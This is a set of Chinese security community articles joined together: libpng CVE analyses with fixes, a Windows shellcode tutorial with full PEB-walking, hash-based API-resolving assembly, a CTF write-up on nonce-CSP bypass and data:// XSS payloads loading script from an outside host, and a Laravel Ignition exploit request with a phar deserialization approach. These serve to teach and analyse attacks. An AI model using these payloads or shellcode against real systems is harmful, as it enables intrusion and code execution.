png_crc_read(png_ptr, (png_bytep)png_ptr->unknown_chunk.data, length);
在处理 `unknown`类型的 `chunk` 时， 如果 `length` 为`0` ， `png_malloc`会返回`0` ，
然后后面的代码没有校验`png_malloc`的返回值直接使用，导致空指针引用。
## 修复
对 `length` 进行校验
if (length == 0)
png_ptr->unknown_chunk.data = NULL;
else
{
png_ptr->unknown_chunk.data = (png_bytep)png_malloc(png_ptr, length);
png_crc_read(png_ptr, (png_bytep)png_ptr->unknown_chunk.data, length);
}
PS: 对1.2.19 用测试样本跑时，会触发栈溢出，溢出在 strncpy 函数内部，很神奇。
# [CVE-2008-3964](https://www.cvedetails.com/cve/CVE-2008-3964/)
测试用例
ztxt_off_by_one.png
## 分析
漏洞代码
void /* PRIVATE */
png_push_read_zTXt(png_structp png_ptr, png_infop info_ptr)
{
if (!(png_ptr->zstream.avail_out) || ret == Z_STREAM_END)
{
if (text == NULL)
{
text = (png_charp)png_malloc(png_ptr,
(png_uint_32)(png_ptr->zbuf_size
- png_ptr->zstream.avail_out + key_size + 1));
png_memcpy(text + key_size, png_ptr->zbuf,
png_ptr->zbuf_size - png_ptr->zstream.avail_out);
png_memcpy(text, key, key_size);
text_size = key_size + png_ptr->zbuf_size - png_ptr->zstream.avail_out;
*(text + text_size) = '\0';
}
else
{
png_charp tmp;
tmp = text;
text = (png_charp)png_malloc(png_ptr, text_size +
(png_uint_32)(png_ptr->zbuf_size
- png_ptr->zstream.avail_out));
png_memcpy(text, tmp, text_size);
png_free(png_ptr, tmp);
png_memcpy(text + text_size, png_ptr->zbuf,
png_ptr->zbuf_size - png_ptr->zstream.avail_out);
text_size += png_ptr->zbuf_size - png_ptr->zstream.avail_out;
*(text + text_size) = '\0';
分配内存时
png_malloc(png_ptr, text_size +
(png_uint_32)(png_ptr->zbuf_size
- png_ptr->zstream.avail_out));
最后一步给解压后的字符串末尾赋值时
*(text + text_size) = '\0';
通过代码可以知道
text_size = text_size +
(png_uint_32)(png_ptr->zbuf_size
- png_ptr->zstream.avail_out)
典型的单字节数组越界即
buf[buf_length]
**分配内存时 ，分配了 0x4006**
**最后赋值 \x00 时 , 使用 0x4006作为索引 off-by-one**
这个漏洞的样本构造需要让 zTXt 的压缩数据的大小大于 0x2000 , 因为zstream.avail_out初始值为 2000.zTXt
的压缩数据的大小大于 0x2000 时才能进入漏洞分支。
## 修复
分配的时候多分配一个字节
tmp = text;
text = (png_charp)png_malloc(png_ptr, text_size +
(png_uint_32)(png_ptr->zbuf_size
- png_ptr->zstream.avail_out + 1));
# CVE-2008-5907
测试样本
iccp_longkeyword.png
## 分析
漏洞代码
png_size_t /* PRIVATE */
png_check_keyword(png_structp png_ptr, png_charp key, png_charpp new_key)
{
key_len = strlen(key);
............
............
if (key_len > 79)
{
png_warning(png_ptr, "keyword length must be 1 - 79 characters");
new_key[79] = '\0'; // new_key 是一个指针数组
key_len = 79;
}
当 key_len 大于 79时，会使用
new_key[79] = '\0';
往地址写 `0` ， 注意到 `new_key`是一个 `char**p`, 所以上面的代码实际是往一个随机的位置写 8 字节的 `0` .
对应的汇编代码
lea rsi, aKeywordLengthM ; "keyword length must be 1 - 79 character"...
mov rdi, png_ptr ; png_ptr
call _png_warning
mov qword ptr [new_key+278h], 0 // new_key[79] = '\0';
mov eax, 4Fh ; 'O'
jmp loc_12237
以 `png_write_tEXt` 为例
void /* PRIVATE */
png_write_tEXt(png_structp png_ptr, png_charp key, png_charp text,
png_size_t text_len)
{
if (key == NULL || (key_len = png_check_keyword(png_ptr, key, &new_key))==0)
{
png_warning(png_ptr, "Empty keyword in tEXt chunk");
return;
}
这里 `new_key` 是一个栈变量 ，当触发漏洞时 ，就会往 `png_write_tEXt`函数栈帧某个位置写8字节 0 。
**调试时可以看到往栈里面写 0x000000000000000**
## 修复
正确使用指针
if (key_len > 79)
{
png_warning(png_ptr, "keyword length must be 1 - 79 characters");
(*new_key)[79] = '\0';
key_len = 79;
}
# [CVE-2009-0040](https://www.cvedetails.com/cve/CVE-2009-0040/)
## 分析
漏洞代码
png_read_png(png_structp png_ptr, png_infop info_ptr,
int transforms,
voidp params)
{
info_ptr->row_pointers = (png_bytepp)png_malloc(png_ptr,
info_ptr->height * png_sizeof(png_bytep));
for (row = 0; row < (int)info_ptr->height; row++)
{
info_ptr->row_pointers[row] = (png_bytep)png_malloc(png_ptr,
png_get_rowbytes(png_ptr, info_ptr));
}
}
这里会分配多个 `row_pointer` ， 当内存不足时 ， `png_malloc` 会使用 `longjmp`
去释放掉`row_pointers`数组内的指针，`row_pointers` 中后面的一些没有初始化的内存区域中的残留数据也有可能会被当做指针而
`free` 。
## 修复
分配内存前，初始化为 0
png_memset(info_ptr->row_pointers, 0, info_ptr->height
* png_sizeof(png_bytep));
for (row = 0; row < (int)info_ptr->height; row++)
info_ptr->row_pointers[row] = (png_bytep)png_malloc(png_ptr,
png_get_rowbytes(png_ptr, info_ptr));
}
# CVE-2009-5063
## 分析
漏洞代码
png_write_iCCP(png_structp png_ptr, png_charp name, int compression_type,
png_charp profile, int profile_len)
{
png_size_t name_len;
png_charp new_name;
compression_state comp;
int embedded_profile_len = 0;
if (profile == NULL)
profile_len = 0;
if (profile_len > 3)
embedded_profile_len =
((*( (png_bytep)profile ))<<24) |
((*( (png_bytep)profile + 1))<<16) |
((*( (png_bytep)profile + 2))<< 8) |
((*( (png_bytep)profile + 3)) );
if (profile_len < embedded_profile_len)
{
png_warning(png_ptr,
"Embedded profile length too large in iCCP chunk");
return;
}
if (profile_len > embedded_profile_len)
{
png_warning(png_ptr,
"Truncating profile to actual length in iCCP chunk");
profile_len = embedded_profile_len;
}
if (profile_len)
profile_len = png_text_compress(png_ptr, profile,
(png_size_t)profile_len, PNG_COMPRESSION_TYPE_BASE, &comp);
可以看到这里的 profile_len 和 embedded_profile_len 都是 int 类型，
embedded_profile_len从png图片的数据里面取出，当embedded_profile_len为负数时 比如（0xffffffff) ，
最终会进入
profile_len = embedded_profile_len;
之后会将profile_len 传入
profile_len = png_text_compress(png_ptr, profile,
(png_size_t)profile_len, PNG_COMPRESSION_TYPE_BASE, &comp);
而 png_text_compress 接收的参数为 png_size_t 即无符号整数，所以会造成越界。
## 修复
修改类型为 png_size_t.
# [CVE-2010-1205](https://www.cvedetails.com/cve/CVE-2010-1205/)
处理 PNG 的 IDAT数据时会发生堆溢出。测试样本
xploit.png
## 分析
处理PNG 图片中的 IDAT 数据时，会把 IDAT 中的数据一行一行的取出来保存后，然后进行处理。程序在一开始会使用
`rpng2_info.height` （即IHDR chunk 中的 heigth） 分配一些内存，用来保存每一行的数据。
static void rpng2_x_init(void)
{
rpng2_info.image_data = (uch *)malloc(rowbytes * rpng2_info.height); // 0xaf0
rpng2_info.row_pointers = (uch **)malloc(rpng2_info.height * sizeof(uch *));// 这里只分配一个指针空间， 因为 heigh 为 1， 而且是 malloc 会有内存残留
以上图为例，`rpng2_info.height` 为 `1`， 首先会分配 `rowbytes` 的空间用来存储所有的 `IDAT` 数据， 然后会分配
**1** 个指针数组 `row_pointers` ， 用来保存指向保存每一行数据的内存区域。其中 `rowbytes` 是通过 `IHDR`
里面的字段计算出来的
void __cdecl png_handle_IHDR(png_structp png_ptr, png_infop info_ptr, png_uint_32 length)
{
png_ptr->pixel_depth = png_ptr->channels * png_ptr->bit_depth;// 4*8
v4 = png_ptr->width * (png_ptr->pixel_depth >> 3);
png_ptr->rowbytes = v4; // 0xaf0
还是上图为例， 最终计算的结果为 `0xaf0`. 之后程序会每次读取 `0xaf0`数据，然后从 `rpng2_info.row_pointers`
取出一个指针， 然后往指针对应的内存空间里面写数据， 直到读取完所有的 `IDAT` 数据。后面会使用越界的指针进行内存拷贝，导致内存写。
触发越界访问的代码如下：
static void readpng2_row_callback(png_structp png_ptr, png_bytep new_row,
png_uint_32 row_num, int pass)
{
png_progressive_combine_row(png_ptr, mainprog_ptr->row_pointers[row_num],// row_num 会为1， 而 row_pointers的长度为1， 典型溢出
new_row);
在溢出前，`row_pointers[1]` 后面有残留的内存指针，因为 `row_pointers` 的分配使用的是 `malloc`
，所以会有内存残留。`0x612020` 是一个堆上的指针。
执行完毕后会触发堆溢出把堆上的数据给覆盖了。
**总结** ：分配内存空间时使用的是 `png` 图片中的字段， 然后实际使用的空间是根据数据长度进行计算的，两者的不一致导致了漏洞。
## 修复
在 `readpng2_row_callback` 对 `row_num` 进行判断。
# CVE-2011-2692
## 分析
漏洞代码
void /* PRIVATE */
png_handle_sCAL(png_structp png_ptr, png_infop info_ptr, png_uint_32
length) {
png_charp ep;
...
png_ptr->chunkdata = (png_charp)png_malloc_warn(png_ptr, length + 1);
...
slength = (png_size_t)length;
...
png_ptr->chunkdata[slength] = 0x00; /* Null terminate the last
string */
ep = png_ptr->chunkdata + 1; /* Skip unit byte */
...
width = png_strtod(png_ptr, ep, &vp);
...
swidth = (png_charp)png_malloc_warn(png_ptr, png_strlen(ep) + 1);
--
当 `length` 为 `0` 时， `ep` 会出现越界访问。
## 修复
对 length 检查 | 社区文章 |
## 背景
编写的 ShellCode
采用了硬编址的方式来调用相应的API函数，这会存在操作系统的版本不一样以及ASLR，调用函数在内存中的地址不同而出现失败的现象。
弹窗程序中最重要的函数MessageBox，它是位于 User32.dll 这个动态链接库里，默认情况下是无法直接调用的，为了能够调用它，就需要调用
LoadLibraryA 函数来加载User32.dll模块，而 LoadLibraryA 又位于 kernel32.dll 链接库中。
有这么一个信息，就是所有的win_32程序都会加载ntdll.dll和kerner32.dll这两个最基础的动态链接库。所以只要找到
LoadLibraryA 函数，就能加载动态链接库，并调用其它的函数。
## 原理
跟踪`InLoadOrderModuleList`获取`Kernel32.dll`地址
* * *
# 流程分析
* * *
## 测试程序
#include<stdio.h>
#include<string.h>
#include<windows.h>
int ExceptionHandler(void);
int main(int argc,char *argv[]){
char temp[512];
printf("Application launched");
__try {
strcpy(temp,argv[1]);
} __except ( ExceptionHandler() ){
}
return 0;
}
int ExceptionHandler(void){
printf("Exception");
return 0;
}
使用`VC++ 6.0`编译，`VS2019`会自带异常处理，干扰分析
使用Windbg加载程序
## 1\. 首先通过段选择字`FS`在内存中找到当前的线程环境快`TEB`。
当我们开启了异常处理例程TEB结构位于`FS:[0]`
SEH结构图中`FS:[0]`指向`TEB`结构
0:000> dd FS:[0]
003b:00000000 0014ff30 00150000 0014d000 00000000
003b:00000010 00001e00 00000000 003f0000 00000000
003b:00000020 00000f00 000016b8 00000000 003f002c
003b:00000030 003ef000 00000000 00000000 00000000
003b:00000040 00000000 00000000 00000000 00000000
003b:00000050 00000000 00000000 00000000 00000000
003b:00000060 00000000 00000000 00000000 00000000
003b:00000070 00000000 00000000 00000000 00000000
0:000> !teb
TEB at 003f0000
ExceptionList: 0014ff30
StackBase: 00150000
StackLimit: 0014d000
SubSystemTib: 00000000
FiberData: 00001e00
ArbitraryUserPointer: 00000000
Self: 003f0000
EnvironmentPointer: 00000000
ClientId: 00000f00 . 000016b8
RpcHandle: 00000000
Tls Storage: 003f002c
PEB Address: 003ef000 <== 0x30指向PEB
LastErrorValue: 0
LastStatusValue: 0
Count Owned Locks: 0
HardErrorMode: 0
0:000> dt _teb 003f0000
ntdll!_TEB
+0x000 NtTib : _NT_TIB
+0x01c EnvironmentPointer : (null)
+0x020 ClientId : _CLIENT_ID
+0x028 ActiveRpcHandle : (null)
+0x02c ThreadLocalStoragePointer : 0x003f002c Void
+0x030 ProcessEnvironmentBlock : 0x003ef000 _PEB <== 0x30指向PEB
+0x034 LastErrorValue : 0
+0x038 CountOfOwnedCriticalSections : 0
+0x03c CsrClientThread : (null)
+0x040 Win32ThreadInfo : (null)
+0x044 User32Reserved : [26] 0
+0x0ac UserReserved : [5] 0
+0x0c0 WOW32Reserved : (null)
+0x0c4 CurrentLocale : 0x804
+0x0c8 FpSoftwareStatusRegister : 0
+0x0cc ReservedForDebuggerInstrumentation : [16] (null)
+0x10c SystemReserved1 : [26] (null)
+0x174 PlaceholderCompatibilityMode : 0 ''
+0x175 PlaceholderReserved : [11] ""
## 2\. TEB线程环境快偏移位置为`0x30`的地方存放着指向进程环境块`PEB`的指针。
`PEB Address`位于TEB结构体偏移`0x30`处
0:000> !teb
TEB at 003f0000
ExceptionList: 0014ff30
StackBase: 00150000
StackLimit: 0014d000
SubSystemTib: 00000000
FiberData: 00001e00
ArbitraryUserPointer: 00000000
Self: 003f0000
EnvironmentPointer: 00000000
ClientId: 00000f00 . 000016b8
RpcHandle: 00000000
Tls Storage: 003f002c
PEB Address: 003ef000 <==位于teb结构体偏移0x30的位置
LastErrorValue: 0
LastStatusValue: 0
Count Owned Locks: 0
HardErrorMode: 0
也可以使用`dt _teb 003f0000`查看偏移量
0:000> dt _teb 003f0000
ntdll!_TEB
+0x000 NtTib : _NT_TIB
+0x01c EnvironmentPointer : (null)
+0x020 ClientId : _CLIENT_ID
+0x028 ActiveRpcHandle : (null)
+0x02c ThreadLocalStoragePointer : 0x003f002c Void
+0x030 ProcessEnvironmentBlock : 0x003ef000 _PEB <==位于teb结构体偏移0x30的位置
+0x034 LastErrorValue : 0
+0x038 CountOfOwnedCriticalSections : 0
+0x03c CsrClientThread : (null)
+0x040 Win32ThreadInfo : (null)
+0x044 User32Reserved : [26] 0
+0x0ac UserReserved : [5] 0
+0x0c0 WOW32Reserved : (null)
+0x0c4 CurrentLocale : 0x804
+0x0c8 FpSoftwareStatusRegister : 0
+0x0cc ReservedForDebuggerInstrumentation : [16] (null)
+0x10c SystemReserved1 : [26] (null)
+0x174 PlaceholderCompatibilityMode : 0 ''
+0x175 PlaceholderReserved : [11] ""
所以这里的PEB地址为：`0x003ef000`
## 3\. 分析PEB结构
进程环境块PEB中偏移位置为`0x0C`的地方存放着指向`PEB_LDR_DATA`结构体的指针，其中，存放着已经被进程装载的动态链接库的信息
在`x86`上`PEB_LDR_DATA结构体的指针`位于`0x0C`
0:000> dt _peb 003ef000
ntdll!_PEB
+0x000 InheritedAddressSpace : 0 ''
+0x001 ReadImageFileExecOptions : 0 ''
+0x002 BeingDebugged : 0x1 ''
+0x003 BitField : 0 ''
+0x003 ImageUsesLargePages : 0y0
+0x003 IsProtectedProcess : 0y0
+0x003 IsImageDynamicallyRelocated : 0y0
+0x003 SkipPatchingUser32Forwarders : 0y0
+0x003 IsPackagedProcess : 0y0
+0x003 IsAppContainer : 0y0
+0x003 IsProtectedProcessLight : 0y0
+0x003 IsLongPathAwareProcess : 0y0
+0x004 Mutant : 0xffffffff Void
+0x008 ImageBaseAddress : 0x00400000 Void
+0x00c Ldr : 0x77d3ab40 _PEB_LDR_DATA
## 4.PEB_LDR_DATA结构体
* 偏移位置为`0x0C`的地方存放着指向模块加载顺序链表的头指针`InLoadOrderModuleList`
* 偏移位置为`0x14`的地方存放着指向模块在运行中的模块链表的头指针`InMemoryOrderModuleList`
* 偏移位置为`0x1C`的地方存放着指向模块初始化装载顺序链表的头指针`InInitizationOrderModuleList`
0:000> dt _peb_ldr_data 0x77d3ab40
ntdll!_PEB_LDR_DATA
+0x000 Length : 0x30
+0x004 Initialized : 0x1 ''
+0x008 SsHandle : (null)
+0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x481ed0 - 0x482660 ]
+0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x481ed8 - 0x482668 ]
+0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x481dd8 - 0x4822c0 ]
+0x024 EntryInProgress : (null)
+0x028 ShutdownInProgress : 0 ''
+0x02c ShutdownThreadId : (null)
* 我们先观察模块`InLoadOrderModuleList`的链表顺序
0:000> lm
start end module name
00400000 00426000 test03 C (no symbols)
74710000 748e8000 KERNELBASE (deferred)
77950000 779e5000 KERNEL32 (pdb symbols) C:\ProgramData\Dbg\sym\kernel32.pdb\EFA698598E9A5A3CB89EC02E7DE288041\kernel32.pdb
77c20000 77db0000 ntdll (pdb symbols) C:\ProgramData\Dbg\sym\ntdll.pdb\C771EA3FB471AEB18DF6186EC9D80CD81\ntdll.pdb
## 5\. 链表`InLoadOrderModuleList`中按顺序存放着PE装入运行时初始化模块信息
第一个链表节点是`test03`的内置内存块,第二个链表结点是`ntdll.dll`，第三个链表节点是`kernel32.dll`
## 6\. 跟踪`3步`找到属于`kernel32.dll`的结点后，在其基础上再偏移`0x18`就是`kernel32.dll`在内存中的加载基地址
0:000> dd 0x481ed0
00481ed0 00481dc8 77d3ab4c 00481dd0 77d3ab54
00481ee0 00000000 00000000 00400000 00401170 <== 00400000 程序基址
00481ef0 00026000 00560054 00481b6c 001c001a
00481f00 00481ba6 800022cc 0000ffff 77d3aa10
00481f10 77d3aa10 615e9a65 00000000 00000000
00481f20 00481f90 00481f90 00481f90 00000000
00481f30 00000000 77c21284 00000000 004826c8
00481f40 00482318 00000000 004826d4 00482324
0:000> dd 00481dc8
00481dc8 004822b0 00481ed0 004822b8 00481ed8
00481dd8 00482670 77d3ab5c 77c20000 00000000 <== 77c20000 ntdll.dll基址
00481de8 00190000 003c003a 00481ca8 00140012
00481df8 77c279e0 0000a2c4 0000ffff 77d3aa40
00481e08 77d3aa40 1d27c592 00000000 00000000
00481e18 00481e88 00481e88 00481e88 00000000
00481e28 00000000 00000000 00000000 00000000
00481e38 00482318 00000000 00000000 00482324
0:000> dd 004822b0
004822b0 00482660 00481dc8 00482668 00481dd0
004822c0 77d3ab5c 00482670 77950000 779695e0 <== 77950000 Kernel32.dll基址
004822d0 00095000 00420040 004823b8 001a0018
004822e0 004823e0 000ca2cc 0000ffff 77d3aa30
004822f0 77d3aa30 57ce72fd 00000000 00000000
00482300 00482370 00482370 00482370 00000000
00482310 00000000 77c212f4 00481f38 00481e30
00482320 00000000 00481e3c 00481f44 00000000
一段汇编获取kernel32.dll的基地址
mov ebx, fs: [edx + 0x30] // FS得到当前线程环境块TEB TEB+0x30 是进程环境块 PEBmov ecx, [ebx + 0x0c] // PEB+0x0c 是PEB_LDR_DATA结构体指针 存放这已经被进程加载的动态链接库的信息mov ecx, [ecx + 0x0c] // PEB_LDR_DATA+0x0c 指向模块初始化链表的头指针 InLoadOrderModuleListmov ecx, [ecx] // ntdll.dll链表mov ecx, [ecx] // Kernel32.dll链表mov ebp, [ecx + 0x18] // ebp 即kernel32.dll基地址
## 7\. 从kernel32.dll的加载基址算起，偏移`0x3C`的地方就是其PE头(又称NT头)
* **注意点** ：win32下的DLL存放在`sysWOW64`
## 8\. PE头偏移`0x78`的地方存放着指向函数导出表的指针
根据上图可以知道导出表RVA=`00092880`，导出表所在区段为`.rdata`段，该区段的`RVA`为`00080000`，起始`offset`为`00067000`
计算导出表真实偏移`**offset**`
**offset =** 导出表RVA - 导出表所在区段的RVA + 导出表所在区段的offset
计算可得`offset = 00092880 - 00080000 + 00067000 =00079880`
## 9\. 查看导出表数据结构
导出表偏移`0x1C`处的指针指向存储导出函数偏移地址（RVA）的列表
导出表偏移`0x20`处的指针，指向存储导出函数函数名的列表
typedef struct _IMAGE_EXPORT_DIRECTORY { DWORD Characteristics; // 未使用，总为0 DWORD TimeDateStamp; // 文件创建时间戳 WORD MajorVersion; // 未使用，总为0 WORD MinorVersion; // 未使用，总为0 DWORD Name; // 指向一个代表此 DLL名字的 ASCII字符串的 RVA DWORD Base; // 函数的起始序号 DWORD NumberOfFunctions; // 导出函数的总数 DWORD NumberOfNames; // 以名称方式导出的函数的总数 DWORD AddressOfFunctions; // 指向输出函数地址的RVA <<<<<<============= DWORD AddressOfNames; // 指向输出函数名字的RVA <<<<<<============= DWORD AddressOfNameOrdinals; // 指向输出函数序号的RVA} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
所以导出函数RVA为`000928A8`
## 10\. 获取函数RVA地址
函数的`RVA地址指针`和`名字指针`按照顺序存放在上述两个列表中，可以在名称列表中定位到所需的函数是第几个，然后在地址列表中找到对应的RVA
可以得到第一个导出函数的RVA=`0x00016720`
## 12.获取API地址
获得RVA后，再加上前面已经得到的动态链接库的加载基址，就获得了所需API此刻在内存中的虚拟地址
第一个导出函数在内存中的`**虚拟内存地址（VA）0x76416720=基地址0x76400000 +相对虚拟地址（RVA）0x00016720**`
//获取导出函数名称表内存虚拟地址(VA) //ebp为获取的Kernel32.dll基址 find_funcs : pushad // 保存寄存器环境 mov eax, [ebp + 0x3c] // 指向PE头 mov ecx, [ebp + eax + 0x78] // 得到导出表的指针 add ecx, ebp // 得到导出函数表内存虚拟地址(VA) mov ebx, [ecx + 0x20] // 得到导出函数名称表(RVA) add ebx, ebp // 得到导出函数名称表内存虚拟地址(VA) xor edi, edi // 初始化计数器 // 循环读取导出表函数对比是否是自己需要的 next_func_loop : inc edi // 函数计数器+1 mov esi, [ebx + edi * 4] // 得到 当前函数名的地址(RVA) add esi, ebp // 得到 当前函数名的内存虚拟地址(VA) cdq;
###
# 源码示例
* * *
使用VC++6.0编译
前提知识点：
* 根据Hash计算函数名进而调用目标函数
#include<stdio.h>#include<windows.h>int main() { _asm { // 将要调用的函数hash值入栈保存 CLD // 清空标志位DF push 0x1e380a6a // 压入 MessageBoxA 字符串的hash push 0x4fd18963 // 压入 ExitProcess 字符串的hash push 0x0c917432 // 压入 LoadLibraryA 字符串的hash mov esi, esp // 指向栈中存放LoadLibraryA的 hash 地址 lea edi, [esi - 0xc] // 用于存放后边找到的 三个函数地址 // 开辟0x400大小的栈空间 xor ebx, ebx //ebx清零 mov bh, 0x04 sub esp, ebx //sub esp,0x400 // 将user32.dll入栈 mov bx, 0x3233 push ebx // 压入字符'32' push 0x72657375 // 压入字符 'user' push esp xor edx, edx // 查找 kernel32.dll 的基地址 mov ebx, fs: [edx + 0x30] // FS得到当前线程环境块TEB TEB+0x30 是进程环境块 PEB mov ecx, [ebx + 0x0c] // PEB+0x0c 是PEB_LDR_DATA结构体指针 存放这已经被进程加载的动态链接库的信息 mov ecx, [ecx + 0x0c] // PEB_LDR_DATA+0x0c 指向模块初始化链表的头指针 InLoadOrderModuleList mov ecx, [ecx] // ntdll.dll链表 mov ecx, [ecx] // Kernel32.dll链表 mov ebp, [ecx + 0x18] // ebp即kernel32.dll基地址 // 与 hash 的查找相关 find_lib_funcs : lodsd // 将[esi]中的4字节 传到eax中 cmp eax, 0x1e380a6a // 比较 MessageBoxA 字符串的hash值 jne find_funcs // 如果不相等则继续查找 xchg eax, ebp // 记录当前hash值 call[edi - 0x8] xchg eax, ebp // 还原当前hash值 并且把exa基地址更新为 user32.dll的基地址 //在PE文件中查找相应的API函数 //获取导出函数名称表内存虚拟地址(VA) //ebp为获取的Kernel32.dll基址 find_funcs : pushad // 保存寄存器环境 mov eax, [ebp + 0x3c] // 指向PE头 mov ecx, [ebp + eax + 0x78] // 得到导出表的指针 add ecx, ebp // 得到导出函数表内存虚拟地址(VA) mov ebx, [ecx + 0x20] // 得到导出函数名称表(RVA) add ebx, ebp // 得到导出函数名称表内存虚拟地址(VA) xor edi, edi // 初始化计数器 // 循环读取导出表函数对比是否是自己需要的 next_func_loop : inc edi // 函数计数器+1 mov esi, [ebx + edi * 4] // 得到 当前函数名的地址(RVA) add esi, ebp // 得到 当前函数名的内存虚拟地址(VA) cdq; // 计算hash值 hash_loop: // 循环得到当前函数名的hash movsx eax, byte ptr[esi] // 得到当前函数名称 第esi的一个字母 cmp al, ah // 比较到达函数名最后的0没有 jz compare_hash // 函数名hash 计算完毕后跳到 下一个流程 ror edx, 7 // 循环右移7位 add edx, eax // 累加得到hash inc esi // 计数+1 得到函数名的下一个字母 jmp hash_loop // 循环跳到 hash_loop // hash值的比较 compare_hash : cmp edx, [esp + 0x1c] // 比较 目标函数名hash 和 当前函数名的hash jnz next_func_loop // 如果 不等于 继续下一个函数名 mov ebx, [ecx + 0x24] // 得到 PE导出表中的 函数序号列表的 相对位置 add ebx, ebp // 得到 PE导出表中的 函数序号列表的 绝对位置 mov di, [ebx + 2 * edi] // 得到 PE导出表中的 当前函数的序号 mov ebx, [ecx + 0x1c] // 得到 PE导出表中的 函数地址列表的 相对位置 add ebx, ebp // 得到 PE导出表中的 函数地址列表的 绝对位置 add ebp, [ebx + 4 * edi] // 得到 PE导出表中的 当前函数的绝对地址 // 循环依次得到kernel32.dll中的 LoadLibraryA ExitProcess // 和user32.dll中的 MessageBoxA xchg eax, ebp // 把函数地址放入eax中 pop edi // pushad中最后一个压入的是edi 正好是开始预留 用于存放的三个函数地址 的栈空间 stosd // 把找到函数地址出入 edi对应的栈空间 push edi // 继续压栈 平衡栈 popad // 还原环境 cmp eax, 0x1e380a6a // 比较是否是 MessageBoxA 函数 如果是说明全部函数已经找齐 可以调用函数执行功能 jne find_lib_funcs // 下方的代码，就是弹窗 func_call : xor ebx, ebx // 将 ebx 清0 push ebx push 0x206f7265 push 0x5a5f7466 // 注意数据大小端问题 push 0x6973696d // 标题“misift_Zero” mov eax, esp // 把标题赋值给 eax push ebx push 0x216e7770 // 再push一个“pwn!”当做内容 mov ecx, esp // 把内容 hello 赋值给 ecx // 下面就是将MessageBox的参数压栈 push ebx // messageBox 第四个参数 push eax // messageBox 第三个参数 push ecx // messageBox 第二个参数 push ebx // messageBox 第一个参数 call[edi - 0x04] // 调用 MessageBoxA push ebx call[edi - 0x08] // 调用 ExitProcess nop nop nop nop } return 0;}
# 结果示例
* * *
* * *
### 学习链接
* [动态定位API函数之shellcode编写](https://blog.csdn.net/mdp1234/article/details/110287856)
* [c++动态定位API地址的shellcode锁定](https://blog.csdn.net/weixin_41986518/article/details/90034723) | 社区文章 |
>
> 最近做一道关于XSS的CTF题目，用到了data://协议触发XSS，并且需要绕过带nonce的CSP策略。由于题目环境没有了，这里主要总结一下其中用到的一些技巧。
## CSP绕过
在绕过csp策略的时候，找到了以下这篇文章<https://www.jianshu.com/p/f1de775bc43e>
> 由于使用了CSP策略，一般想要获取cookie的方法，主要是使用以下几种跳转语句。
>
>
对于带有nonce的CSP策略，要执行跳转语句可以使用这种方式绕过，但是由于Chrome和Firefox对于标签的补齐和解析使用了不一样的方式，因此这个绕过的payload有些不一样。
* **在firefox上可以直接使用上述的payload，只要把跳转语句写入`src` 指向的文件`//14.rs`就可以了，因为属性 `a` 后面的 `"` 会被优先解析，这样就会把里面的`</p> <script id=`解析成字符串，从而成功引入了带有`nonce`的`script`，从而成功执行`src`里的内容。**
* **Chrome对于标签的解析方式则不同，虽然它也是这样补齐了标签，但是解析的时候仍然会优先解析`"`里的`script`，导致发生错误，无法实现xss。在这种情况下，只需要使用Chrome解析html5 的属性的一种特性——浏览器只会解析同一个标签内的第一个属性，对于后面的同名属性，会自动忽略掉。因此，只要改一下payload：**
<script src=//14.rs a="test" a="
//这样会把后面 a="</p><script id="给直接忽略掉
或者
<script src=//14.rs src="
//把src后面的内容直接忽略
由此可以成功引入带有`nonce`的`<script>`标签，成功执行XSS。
## data://协议使用
在XSS的时候，可能常常会用到php伪协议的辅助，比如这样两种情况：
* 对于提交的内容，通过`htmlspecialchars()`函数来转义特殊字符，然后保存到某个文件里，之后通过文件包含，把文件的内容输出到某个html标签之间。
* 对于提交的内容，通过htmlspecialchars()函数来转义特殊字符，然后把内容在某个HTML标签内输出出来。
在这种情况下，怎么去触发XSS呢？
这个时候，可以考虑使用data://这个协议：
只要把红框中的内容修改成`<script>alert(1)<script>`的base64编码`JTNDc2NyaXB0JTNFYWxlcnQlMjgxJTI5JTNDL3NjcmlwdCUzRQ==`就可以触发xss了。
> 实例：使用php实现一个简单的笔记上传保存到文件里，并显示到网页的功能：
getnote.php:
<!DOCTYPE html>
<html>
<head>
<title>dataXSS</title>
</head>
<body>
<form action="upnote.php" method="post">
<p>note:</p>
<input type="text" name="note" >
<input type="submit" name="submit">
</form>
<?php
$url = $_GET['url'];
echo "<p>your input url:</p>"."<p>".urldecode(file_get_contents($url)) ."</p>";
?>
</body>
</html>
upnote.php
<?php
file_put_contents('url.txt',htmlspecialchars($_POST[note]));
header('location:getnote.php?url=url.txt');
?>
程序的逻辑很简单，不多介绍。首先我们访问：getnote.php，把笔记的内容写成`<script>alert(1)</script>`，然后提交：
没有发生弹框，检查元素可以发现`<,>`都被`htmlspecialchars()`
转义了，看一下文件内容发现也被转义了，如下图：
这个时候，我们发现读取url的函数使用的是`file_get_contents($url)`，因此可以使用data://协议，构造下面的payload:
getnote.php?url=data://text/plain;base64,JTNDc2NyaXB0JTNFYWxlcnQlMjgxJTI5JTNDL3NjcmlwdCUzRQ==
访问，发现弹框了。 | 社区文章 |
[TOC]
### 0x00 漏洞成因
影响版本：Ignition<2.5.2
根据补丁来diff，发现补丁位于Ignition的一个Solution子类中。根据Igniter源码发现存在路由，找到ExecuteSolution路由可以动态执行Solution。
构造路由请求有洞的Solution。
POST /_ignition/execute-solution HTTP/1.1
Host: 127.0.0.1:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 121
solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution¶meters[variableName]=123¶meters[viewFile]=abc
这个漏洞是先通过`file_get_contents()`读取文件内容，然后进行一些修改。最后使用`file_put_contents()`保存文件。大概代码如下：
$output = file_get_contents($parameters['viewFile']);
//省略xxx（对$output做一些处理）
//xxx
file_put_contents($parameters['viewFile'], $output);
由于这里无法任意修改`$content`，因此`$content`没有利用价值。把目光放到`viewFile`。由于文件协议可控，因此这里可以尝试利用`phar`来进行反序列化。
如果想要使用phar，首先需要可以控制服务器上的一个完整的文件，刚好laravel的日志文件`storage/logs/laravel.log`就可以利用。通过本漏洞的路由请求一个不存在的文件名作为`viewFile`的值，就可以把这个值保存到log文件中。
